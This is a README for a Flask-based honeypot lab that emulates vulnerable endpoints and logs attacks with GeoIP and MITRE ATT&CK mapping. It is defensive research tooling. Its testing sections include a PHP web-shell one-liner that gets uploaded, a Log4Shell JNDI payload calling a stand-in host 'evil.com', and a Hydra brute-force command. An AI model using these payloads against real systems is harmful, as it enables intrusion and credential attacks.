The Honeypot Lab is a Python/Flask-based deception system designed to emulate vulnerable web services. It captures real-world attacker behavior, payloads, and tactics in a safe, controlled environment. All attacker interactions are enriched with GeoIP data, mapped to the MITRE ATT&CK framework, and stored for post-hoc analysis.
Disclaimer: This tool is intended for educational and research purposes. Deploy only in isolated environments you own or have explicit authorization to use.
The project is modular, separating the web endpoints, core configuration, logging, and data analysis:
| Component | File | Purpose |
|---|---|---|
| App Factory | app.py |
Initializes Flask, registers endpoints, manages GeoIP caching. |
| Configuration | config.py |
Centralized settings (ports, DB paths, API timeouts). |
| Database | extensions.py |
SQLite persistence with WAL mode for safe, concurrent logging. |
| Endpoints | blueprints/*.py |
Emulates RCE, Login, Uploads, JNDI, and Botnet Baits. |
| Services | services/*.py |
JSON formatting, MITRE mapping, and external GeoIP lookups. |
| Analysis Pipeline | monitor_honeypot.py |
Pandas/Matplotlib script for log parsing and visualization. |
Requirements:
- Python 3.8+
- pip
- Virtualenv
Step 1: Clone and Navigate
git clone https://github.com/Harshil015/Honeypot-Lab.git
cd Honeypot-LabStep 2: Create Virtual Environment
python3 -m venv venv
source venv/bin/activate # On Linux/Mac
# venv\Scripts\activate # On WindowsStep 3: Install Dependencies
pip install -r requirements.txtTo launch the deception server, run:
python app.pyThe honeypot will start listening on http://0.0.0.0:5000.
All interactions will be logged to honeypot.log and the SQLite database at db/events.db.
To process captured data into visual charts and session replays:
- Stop the honeypot (
Ctrl+C). - Run the analysis script:
python monitor_honeypot.pyThis will generate attack_timeline.png, payload_frequency.png, and print a session replay summary to your terminal.
The honeypot exposes several intentionally vulnerable endpoints. Here is how attackers (or your testing tools) interact with them:
- Endpoint:
/cmd(GET / POST) - MITRE ATT&CK: T1059 (Execution)
- How it works: Accepts a
cmdparameter. Instead of executing the command (which is dangerous), it emulates common Linux outputs to trick the attacker. - Testing it:
curl "http://127.0.0.1:5000/cmd?cmd=whoami" # Output: root
- Endpoint:
/login(GET / POST) - MITRE ATT&CK: T1110 (Credential Access)
- How it works: Presents a fake HTML login form. Accepts
usernameandpasswordvia POST. Always returns401 Invalid Credentialsto keep the attacker brute-forcing. - Testing it (with Hydra):
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -t 4 127.0.0.1 http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"
- Endpoint:
/upload(POST) - MITRE ATT&CK: T1505.003 (Persistence)
- How it works: Accepts multipart file uploads. Saves the file securely to the
uploads/directory using a sanitized filename for later malware analysis, but never executes it. - Testing it:
echo "<?php system(\$_GET['cmd']); ?>" > shell.php curl -F "file=@shell.php" http://127.0.0.1:5000/upload
- Endpoint:
/jndi(GET / POST) - MITRE ATT&CK: T1059 (Execution)
- How it works: Captures Log4Shell style payloads sent via headers or parameters without connecting to the attacker's LDAP/RMI server.
- Testing it:
curl -A "\${jndi:ldap://evil.com/Exploit}" "http://127.0.0.1:5000/jndi?payload=exploit"
- Endpoints:
/shell.php,/cmd.php,/cgi-bin/ - MITRE ATT&CK: T1190 (Initial Access)
- How it works: Automated internet scanners constantly look for these specific files. The honeypot serves a
404 Not Foundbut silently logs the attempt, payload, and scanner signature.
You can modify the honeypot's behavior without changing the code by setting environment variables before running python app.py, or by editing config.py directly.
| Variable | Default | Description |
|---|---|---|
HONEYPOT_LOG_FILE |
honeypot.log |
Path to the JSON-lines log file. |
HONEYPOT_DATABASE_PATH |
db/events.db |
Path to the SQLite database file. |
HONEYPOT_UPLOAD_DIR |
uploads/ |
Directory where captured malware/payloads are stored. |
HONEYPOT_GEOIP_ENABLED |
true |
Enables/disables external IP lookups. Set to false if offline. |
HONEYPOT_GEOIP_TIMEOUT |
2.0 |
Max seconds to wait for the GeoIP API before failing gracefully. |
The honeypot outputs structured JSON lines to honeypot.log. Every event contains the following schema, making it easy to ingest into ELK, Splunk, or custom Python scripts:
{
"timestamp": "2024-05-20T14:30:00Z",
"level": "INFO",
"message": "RCE_ATTEMPT",
"event_type": "RCE_ATTEMPT",
"severity": "HIGH",
"src_ip": "192.168.1.50",
"user_agent": "curl/7.84.0",
"path": "/cmd",
"method": "GET",
"payload": "whoami",
"country": "US",
"city": "Ashburn",
"isp": "DigitalOcean LLC",
"asn": "AS14061",
"mitre_technique_id": "T1059",
"mitre_tactic": "Execution",
"details": {}
}- Issue:
ModuleNotFoundError: No module named 'flask'- Fix: You forgot to activate your virtual environment. Run
source venv/bin/activateandpip install -r requirements.txt.
- Fix: You forgot to activate your virtual environment. Run
- Issue:
sqlite3.OperationalError: database is locked- Fix: Ensure you are running the latest code. The
extensions.pyfile usesPRAGMA journal_mode=WAL;to prevent this. If it persists, delete thedb/events.dbfile and restart the honeypot.
- Fix: Ensure you are running the latest code. The
- Issue: GeoIP returns
Unknownfor all IPs.- Fix: You may be offline, or the public IP API (
ip-api.com) is rate-limiting you. The honeypot caches IPs for 1 hour to prevent this, but heavy traffic can still trigger limits.
- Fix: You may be offline, or the public IP API (
- Issue:
KeyError: 'timestamp'when runningmonitor_honeypot.py.- Fix: Ensure you are using the updated
monitor_honeypot.pyscript provided, which useserrors='coerce'and prevents DataFrame mutation.
- Fix: Ensure you are using the updated